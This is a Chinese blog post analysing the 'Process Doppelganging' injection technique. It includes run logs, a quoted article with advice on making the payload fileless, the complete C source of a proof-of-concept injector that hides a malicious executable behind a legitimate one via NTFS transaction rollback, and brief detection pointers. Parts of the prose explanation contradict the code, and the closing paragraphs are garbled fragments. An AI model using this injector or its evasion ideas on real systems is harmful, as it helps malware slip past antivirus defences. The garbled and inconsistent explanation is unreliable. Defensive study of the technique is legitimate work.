进程注入之Process Doppelganging(进程替身或进程分身)——技术限制较大,win7 64下实验成功,在我的win11 64下失效

发布时间 2023-09-20 17:34:13作者: bonelee

写在前面

先说效果:win11 64位下

processrefund.exe calc.exe MalExe.exe
[+] Got ntdll.dll at 0x7ff93ee10000
[+] Got NtCreateSection at 0x00007FF93EEAF580
参数错误。

  就算是关闭defender和杀软也不行。

自己写一个代码,不用calc.exe,看看:

processrefund.exe sleephere44.exe MalExe.exe
[+] Got ntdll.dll at 0x7ff93ee10000
[+] Got NtCreateSection at 0x00007FF93EEAF580
参数错误。

  

换到win7 64下:

C:\Download>processrefund.exe explorer.exe MalExe.exe
[+] Got ntdll.dll at 0x77950000
[+] Got NtCreateSection at 0x00000000779B9D20
[+] Created a transaction, handle 0x20
[+] CreateFileTransacted on C:\Download\explorer.exe, handle 0x24
[+] opened malexe.exe, handle 0x28
[+] malexe size is 0x2800
[+] allocated 0x2800 bytes
[+] read malexe.exe to buffer
[+] over wrote C:\Download\explorer.exe in transcation
[+] created a section with our new malicious C:\Download\explorer.exe
[+] Got NtCreateProcessEx 0x00000000779B9D50
[+] Created our process, handle 0x30
[+] our new process oep is 0x1400012c4
[+] Got NtCreateThreadEx 0x00000000779BA300
[+] Got RtlCreateProcessParametersEx 0x000000007796A330
[+] creating Process Parameters at 0x00000000003588E0
[+] creating memory at process for our paramters 0x00350000
[+] writing our paramters to the process
[+] Got NtQueryInformationProcess 0x00000000779B9A10
[+] writing our paramters to the process peb 0x000007FFFFFD6000
[+] Thread created with handle 34
[+] rolling back the original C:\Download\explorer.exe

  

可以看到注入成功,explorer被注入效果图如下:

 我们再试试windows的系统路径,

C:\Download>processrefund.exe c:\windows\explorer.exe MalExe.exe
[+] Got ntdll.dll at 0x77950000
[+] Got NtCreateSection at 0x00000000779B9D20
[+] Created a transaction, handle 0x20
拒绝访问。

  

C:\Download>processrefund.exe c:\windows\system32\calc.exe MalExe.exe
[+] Got ntdll.dll at 0x77950000
[+] Got NtCreateSection at 0x00000000779B9D20
[+] Created a transaction, handle 0x20
拒绝访问。

  

也就是说,直接使用系统路径是没法做注入的。恶意软件真想用这个技术,必须copy一份系统路径的exe,然后拉起来做注入,这种特点太明显。

总体说来,该技术的实用性并不强。但是为了技术完整性,我还是决定深入看看!

 

尤金·科岗和塔尔·利伯曼在Blackhat EU 2017上展示了一种称为"Process Doppelganging"的入侵检测规避技术,在这种方法中NTFS事务被用来创建一个包含我们的有效负载的虚拟文件,它用我们的有效负载创建一个新的NTFS内存段,然后回滚虚拟文件,使恶意软件只存在于内存中(我们新创建的部分),然后这个部分可以被加载到一个新的进程中,并在伪装下执行。

 

 

Process Doppelganging利用介绍

摘自:https://3gstudent.github.io/Process-Doppelganging%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D

0x00 前言


在最近的BlackHat Europe 2017,Tal Liberman和Eugene Kogan介绍了一种新的代码注入技术——Process Doppelgänging

据说这种利用方式支持所有Windows系统,能够绕过绝大多数安全产品的检测

于是,本文将要根据开源代码,编写程序,实现Process Doppelgänging,测试功能,分析利用思路

参考地址:

https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

0x01 简介


本文将要介绍以下内容:

  • 原理
  • 开源代码
  • 修复方法
  • 实际测试
  • 利用思路
  • 防御检测

0x02 Process Doppelgänging原理


原理上类似于Process Hollowing,但是更加高级:

  • 不需要使用傀儡进程
  • 不需要特殊的内存操作,例如SuspendProcess和NtUnmapViewOfSection

注:

关于Process Hollowing的介绍,可参考之前的文章《傀儡进程的实现与检测》

实现思路:

1.打开一个正常文件,创建transaction

关于NTFS transaction,可参考:

http://www.ntfs.com/transaction.htm

2.在这个transaction内填入payload,payload作为进程被启动

目前为止,杀毒软件无法对填入的payload进行扫描

3.回滚transaction

相当于还原transaction,清理痕迹

对应程序实现过程:

1.创建transaction

关键函数:

  • NtCreateTransaction

2.在这个transaction内填入payload

关键函数:

  • CreateFileTransacted
  • NtCreateSection

3.payload作为进程被启动

关键函数:

  • NtCreateProcessEx
  • NtCreateThreadEx

4.回滚transaction

关键函数:

  • NtRollbackTransaction

当然,还涉及到payload的写入,申请内存、PE文件结构等,这里暂不介绍,可直接参考POC源码

对于Native API的使用,可参考之前的文章《渗透技巧——”隐藏”注册表的创建》《渗透技巧——”隐藏”注册表的更多测试》

注:

Win10 RS3前的Win10系统,使用该方法会蓝屏,原因在于NtCreateProcessEx函数传入的空指针,细节可参考:

https://bugs.chromium.org/p/project-zero/issues/detail?id=852

0x03 开源POC


目前, 已公开的POC有两个

1、processrefund

地址:

https://github.com/Spajed/processrefund

目前仅支持64位Windows系统

编译工具:VS2015,安装sdk

实际测试:

Win7 x64

测试如下图

Alt text

注:

如果选择system32下的calc.exe,会提示权限不够

启动进程calc.exe,但实际上执行MalExe.exe,弹出对话框

进程calc.exe的图标和描述都是正常的calc.exe,数字签名也正常,如下图

Alt text

2、hfiref0x的POC

https://gist.github.com/hfiref0x/a9911a0b70b473281c9da5daea9a177f

仅有一个c文件,缺少头文件ntos.h

可供参考的位置:

https://github.com/hfiref0x/UACME/blob/master/Source/Shared/ntos.h

但是还需要作二次修改

为了更加了解细节,决定不使用ntdll.lib文件(安装DDK后包含),改为通过ntdll获得Native API(当然,代码量也会增加)

以自己的方式重写一个ntos.h,并对原POC的inject.c作修改

开源地址如下:

https://github.com/3gstudent/Inject-dll-by-Process-Doppelganging

编译工具:VS2012

支持32位Windows系统

实际测试:

Win7 x86

测试如下图

Alt text

注:

如果选择system32下的calc.exe,会提示权限不够

综上,我们可以看到,Process Doppelgänging在利用效果上和Process Hollowing类似:启动一个正常进程(正常的图标、签名、描述),在这个进程中执行payload

Process Doppelgänging在利用上的一个缺点: 需要替换文件,所以在替换system32下的文件时,会提示权限不够(管理员权限无法修改该路径下的文件)

0x04 利用思路


在上节我们测试了两个POC,对Process Doppelgänging有了一些认识

而在实际利用中,需要对POC作进一步修改,利用思路如下:

将读取payload的功能去掉,改为使用Buffer存储(可进行压缩编码减小长度)

执行时读取Buffer,解密执行

这样能进一步隐藏payload,实现payload的”无文件”(payload保存在exp中,不需要写入硬盘)

0x05 检测


Process Doppelgänging并不是能绕过所有的杀毒软件,几个关键函数的调用还是会被拦截(例如NtCreateThreadEx),并且进程的内存同PE文件存在差异

0x06 小结


本文介绍了Process Doppelgänging的原理,根据开源代码,编写程序,实现Windows x86和x64系统下的利用,测试功能,分析利用思路,介绍检测方法

 
 
上面只是介绍了步骤,对于其原理揭示写在下面!

我成功运行的代码如下(使用https://github.com/Spajed/processrefund,有一个ntdefs.h文件):

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <KtmW32.h>
#include <lmerr.h>
#include <winternl.h>
#include <psapi.h>
#include <Processthreadsapi.h>
#include "ntdefs.h"

// To ensure correct resolution of symbols, add Psapi.lib to TARGETLIBS
#pragma comment(lib, "psapi.lib")


void
DisplayErrorText(
	DWORD dwLastError
)
{
	HMODULE hModule = NULL; // default to system source
	LPSTR MessageBuffer;
	DWORD dwBufferLength;

	DWORD dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER |
		FORMAT_MESSAGE_IGNORE_INSERTS |
		FORMAT_MESSAGE_FROM_SYSTEM;

	//
	// If dwLastError is in the network range, 
	//  load the message source.
	//

	if (dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) {
		hModule = LoadLibraryEx(
			TEXT("netmsg.dll"),
			NULL,
			LOAD_LIBRARY_AS_DATAFILE
		);

		if (hModule != NULL)
			dwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE;
	}

	//
	// Call FormatMessage() to allow for message 
	//  text to be acquired from the system 
	//  or from the supplied module handle.
	//

	if (dwBufferLength = FormatMessageA(
		dwFormatFlags,
		hModule, // module to get message from (NULL == system)
		dwLastError,
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language
		(LPSTR)&MessageBuffer,
		0,
		NULL
	))
	{
		DWORD dwBytesWritten;

		//
		// Output message string on stderr.
		//
		WriteFile(
			GetStdHandle(STD_ERROR_HANDLE),
			MessageBuffer,
			dwBufferLength,
			&dwBytesWritten,
			NULL
		);

		//
		// Free the buffer allocated by the system.
		//
		LocalFree(MessageBuffer);
	}

	//
	// If we loaded a message source, unload it.
	//
	if (hModule != NULL)
		FreeLibrary(hModule);
}

LPVOID GetBaseAddressByName(HANDLE hProcess, char *module)
{
	MEMORY_BASIC_INFORMATION    mbi;
	SYSTEM_INFO si;
	LPVOID lpMem;
	char moduleName[MAX_PATH] = { 0 };
	/* Get maximum address range from system info */
	GetSystemInfo(&si);
	/* walk process addresses */
	lpMem = 0;
	while (lpMem < si.lpMaximumApplicationAddress) {
		VirtualQueryEx(hProcess, lpMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
		GetMappedFileName(hProcess, mbi.BaseAddress, moduleName, MAX_PATH);

		if (strstr(moduleName,module))//mbi.Type & MEM_IMAGE)
			return mbi.BaseAddress;
		/* increment lpMem to next region of memory */
		lpMem = (LPVOID)((ULONGLONG)mbi.BaseAddress +(ULONGLONG)mbi.RegionSize);
			
	}
	return NULL;
}

int main(int argc,char *argv[] )
{

	LARGE_INTEGER liFileSize;
	DWORD dwFileSize;
	HANDLE hSection;
	NTSTATUS ret;
	
	UNICODE_STRING  string;
	
	if (argc < 3) {
		printf("%s <exe to Doppelgang> <your exe>",argv[0]);
		return 0;
	}
	
	HMODULE hNtdll = GetModuleHandle("ntdll.dll");
	if (NULL==hNtdll)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] Got ntdll.dll at 0x%llx\n", hNtdll);
	NtCreateSection createSection = (NtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
	
	if (NULL == createSection)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] Got NtCreateSection at 0x%08p\n", createSection);
	WCHAR temp[MAX_PATH] = { 0 };
	char fileFullPath[MAX_PATH] = { 0 };

	// argv[1] = "D:\\data\\calc.exe";
	// argv[2] = "D:\\data\\MalExe.exe";
	GetFullPathName(argv[1], MAX_PATH, fileFullPath, NULL);
	MultiByteToWideChar(CP_UTF8, 0, fileFullPath, strlen(fileFullPath), temp, MAX_PATH);
	HANDLE hTransaction = CreateTransaction(NULL,0,0,0,0,0, temp);
	if (INVALID_HANDLE_VALUE == hTransaction)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] Created a transaction, handle 0x%x\n", hTransaction);

	HANDLE hTransactedFile = CreateFileTransacted(fileFullPath,
		GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);
	if (INVALID_HANDLE_VALUE == hTransactedFile)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] CreateFileTransacted on %s, handle 0x%x\n", fileFullPath, hTransactedFile);

	HANDLE hExe = CreateFile(argv[2],
		 GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (INVALID_HANDLE_VALUE == hExe)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] opened malexe.exe, handle 0x%x\n", hExe);

	BOOL err = GetFileSizeEx(hExe, &liFileSize);
	if (FALSE == err)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	dwFileSize = liFileSize.LowPart;
	printf("[+] malexe size is 0x%x\n", dwFileSize);

	BYTE *buffer = malloc(dwFileSize);
	if (NULL == buffer)
	{
		printf("Malloc failed\n");
		return -1;
	}
	printf("[+] allocated 0x%x bytes\n", dwFileSize);
	DWORD read = 0;
	if (FALSE == ReadFile(hExe, buffer, dwFileSize, &read, NULL))
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] read malexe.exe to buffer\n");

	DWORD wrote = 0;
	if (FALSE == WriteFile(hTransactedFile, buffer, dwFileSize, &wrote, NULL))

	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] over wrote %s in transcation\n", fileFullPath);

	ret = createSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile);
	if(FALSE == NT_SUCCESS(ret))
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] created a section with our new malicious %s\n", fileFullPath);



	NtCreateProcessEx createProcessEx = (NtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
	if (NULL == createProcessEx)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] Got NtCreateProcessEx 0x%08p\n", createProcessEx);

	HANDLE hProcess=0;
	my_RtlInitUnicodeString initUnicodeString = (my_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");

	initUnicodeString(&string, temp);

	ret = createProcessEx(&hProcess, GENERIC_ALL,NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE);
	
	printf("[+] Created our process, handle 0x%x\n", hProcess);
	if (FALSE == NT_SUCCESS(ret))
	{
		DisplayErrorText(GetLastError());
		return -1;
	}

	PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buffer;

	PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(buffer + dos_header->e_lfanew);

	ULONGLONG oep = ntHeader->OptionalHeader.AddressOfEntryPoint;

	oep+=(ULONGLONG)GetBaseAddressByName(hProcess,argv[1]);


	printf("[+] our new process oep is 0x%llx\n", oep);
	NtCreateThreadEx createThreadEx = (NtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
	if (NULL == createThreadEx)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] Got NtCreateThreadEx 0x%08p\n", createThreadEx);


	my_PRTL_USER_PROCESS_PARAMETERS ProcessParams = 0;
	RtlCreateProcessParametersEx createProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
	if (NULL == createProcessParametersEx)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] Got RtlCreateProcessParametersEx 0x%08p\n", createProcessParametersEx);



	
	ret = createProcessParametersEx(&ProcessParams, &string,NULL,NULL,&string,NULL,NULL,NULL,NULL,NULL, RTL_USER_PROC_PARAMS_NORMALIZED);
	if (FALSE == NT_SUCCESS(ret))
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] creating Process Parameters at 0x%p\n", ProcessParams);

	LPVOID RemoteProcessParams;
	RemoteProcessParams = VirtualAllocEx(hProcess, ProcessParams, (ULONGLONG)ProcessParams&0xffff + ProcessParams->EnvironmentSize + ProcessParams->MaximumLength, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
	if(NULL == RemoteProcessParams)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] creating memory at process for our paramters 0x%08x\n", RemoteProcessParams);

	ret=WriteProcessMemory(hProcess, ProcessParams, ProcessParams, ProcessParams->EnvironmentSize + ProcessParams->MaximumLength,NULL);
	if (FALSE == NT_SUCCESS(ret))
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] writing our paramters to the process\n");

	my_NtQueryInformationProcess queryInformationProcess = (my_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
	if (NULL == queryInformationProcess)
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] Got NtQueryInformationProcess 0x%08p\n", queryInformationProcess);

	PROCESS_BASIC_INFORMATION info;

	ret = queryInformationProcess(
		hProcess,
		ProcessBasicInformation,
		&info,
		sizeof(info),
		0);

	if (FALSE == NT_SUCCESS(ret))
	{
		DisplayErrorText(GetLastError());
		return -1;
	}

	PEB *peb = info.PebBaseAddress;

	ret=WriteProcessMemory(hProcess, &peb->ProcessParameters, &ProcessParams, sizeof(LPVOID), NULL);
	if (FALSE == NT_SUCCESS(ret))
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] writing our paramters to the process peb 0x%08p\n", peb);

	HANDLE hThread;
	ret = createThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)oep, NULL, FALSE, 0, 0, 0, NULL);
	printf("[+] Thread created with handle %x\n", hThread);
	if (FALSE == NT_SUCCESS(ret))
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	if (FALSE == RollbackTransaction(hTransaction))
	{
		DisplayErrorText(GetLastError());
		return -1;
	}
	printf("[+] rolling back the original %s\n", fileFullPath);

	CloseHandle(hProcess);
	CloseHandle(hExe);
	CloseHandle(hTransactedFile);
	CloseHandle(hTransaction);
	return 0;
}

  

如果恶意代码是mal.exe,合法文件是calc.exe,演示下Process Doppelgänging的过程,我们重点看恶意文件是如何植入到合法进程的!
Process Doppelgänging的过程可以分为以下几个步骤:

1. 创建事务:首先,我们需要创建一个新的事务。在Windows中,事务是一种可以将一组操作作为一个整体来执行的机制。如果事务中的任何一个操作失败,那么整个事务都会被回滚,所有的操作都会被撤销。

2. 创建转录文件:然后,我们在事务中创建一个新的文件,这个文件是目标可执行文件(在这个例子中是calc.exe)的副本

3. 写入负载:接着,我们将恶意代码(在这个例子中是mal.exe)写入到转录文件中。这个操作是在事务中进行的,所以它不会立即影响到磁盘上的文件。

4. 回滚事务:然后,我们回滚事务。这会删除转录文件,但是由于Windows的缓存机制,我们仍然可以访问这个文件的旧版本。这个旧版本包含了我们的恶意代码。补充:在Windows的事务性文件系统(TxF)中,当你在一个事务中修改一个文件,然后回滚这个事务,这个文件的修改会被撤销,文件会恢复到事务开始时的状态。这就是所谓的"旧版本"。然而,由于Windows的缓存机制,即使事务已经被回滚,我们仍然可以访问到事务中的文件。这是因为Windows在内存中保留了一个这个文件的副本,这个副本包含了在事务中对文件的所有修改。在Process Doppelgänging中,我们利用这个特性来隐藏恶意代码(核心!!!)。我们首先在一个事务中创建一个新的文件,然后将恶意代码写入到这个文件中。然后,我们回滚这个事务,这会删除这个文件,但是由于Windows的缓存机制,我们仍然可以访问到这个文件的旧版本,也就是包含了恶意代码的版本。然后,我们创建一个新的进程,将这个进程的镜像文件替换为我们的文件。这样,新进程就会加载我们的恶意代码,而不是原始的可执行文件。
 
上述步骤对应的关键代码:

 


5. 创建新进程:然后,我们使用CreateProcess函数创建一个新的进程,但是在创建进程之前,我们将新进程的镜像文件替换为我们的转录文件。这样,新进程就会加载我们的恶意代码,而不是原始的可执行文件。
 
期间还使用RtlCreateProcessParametersEx函数创建新进程的参数,然后将这些参数写入到新进程的PEB(Process Environment Block)中。

6. 恢复新进程:最后,我们使用ResumeThread函数恢复新进程的主线程,新进程就会开始执行我们的恶意代码。
还会使用RollbackTransaction函数回滚事务。这会删除转录文件,但是由于Windows的缓存机制,我们仍然可以访问这个文件的旧版本。
 
上述步骤对应代码如下:

 中间有一大堆的进程参数设置?为啥需要使用RtlCreateProcessParametersEx设置创建新进程的参数???恶意文件不是已经在了旧版本里吗?

RtlCreateProcessParametersEx函数用于创建新进程的参数,这些参数会被存储在新进程的PEB(Process Environment Block)中。这些参数包括进程的命令行参数、环境变量、当前目录等信息。
在Process Doppelgänging中,我们需要创建新进程的参数,然后将这些参数写入到新进程的PEB中,这是因为新进程需要这些参数来正确地初始化。例如,新进程需要知道它的命令行参数来解析用户的输入,需要知道它的环境变量来访问系统资源,需要知道它的当前目录来解析相对路径等
虽然我们已经将恶意代码写入到了旧版本的文件中,但是这只是新进程的镜像文件,它并不包含新进程的参数。新进程的参数需要我们单独创建和设置。这就是为什么我们需要使用RtlCreateProcessParametersEx函数的原因。

 

最后这个函数“画龙点睛”:RollbackTransaction函数用于回滚一个事务,也就是撤销在事务中进行的所有操作。在Process Doppelgänging中,我们在事务中创建了一个新的文件,然后将恶意代码写入到这个文件中。当我们回滚这个事务时,这个文件会被删除,但是由于Windows的缓存机制,我们仍然可以访问到这个文件的旧版本,也就是包含了恶意代码的版本。

如果我们不调用RollbackTransaction函数,那么事务中的所有操作都会被提交,也就是说,我们对文件的修改会被写入到磁盘中。这样,恶意代码就会被写入到磁盘中,这可能会被杀毒软件检测到。此外,如果我们不回滚事务,那么我们就不能利用Windows的缓存机制来隐藏恶意代码。

因此,RollbackTransaction函数在Process Doppelgänging中起到了关键的作用。它不仅可以防止恶意代码被写入到磁盘中,还可以让我们利用Windows的缓存机制来隐藏恶意代码。


这种技术的优点是,它可以绕过大多数杀毒软件的检测,因为恶意代码并没有真正写入到磁盘中,而是隐藏在Windows的缓存中。此外,由于新进程是从一个合法的可执行文件创建的,所以它的大部分属性(例如进程名、命令行参数等)都看起来是正常的,这使得检测更加困难。
 
 
最后我们看看如何检测Process Doppelgänging?
监视和分析对CreateTransactionCreateFileTransactedRollbackTransaction API调用,以及NtCreateProcessEx和NtCreateThreadEx,还有RtlCreateProcessParametersEx 修改进程PEB信息。
如果这些API都被调用了,则说明是在执行进程了。
如果我们RollbackTransaction函数,那所有操作提交,也,我们文件修改。这,恶代码,这可能。此,如果我们,那我们不能Windows隐藏代码

RollbackTransaction函数Process Doppelgänging。它可以代码,还可以我们Windows隐藏代码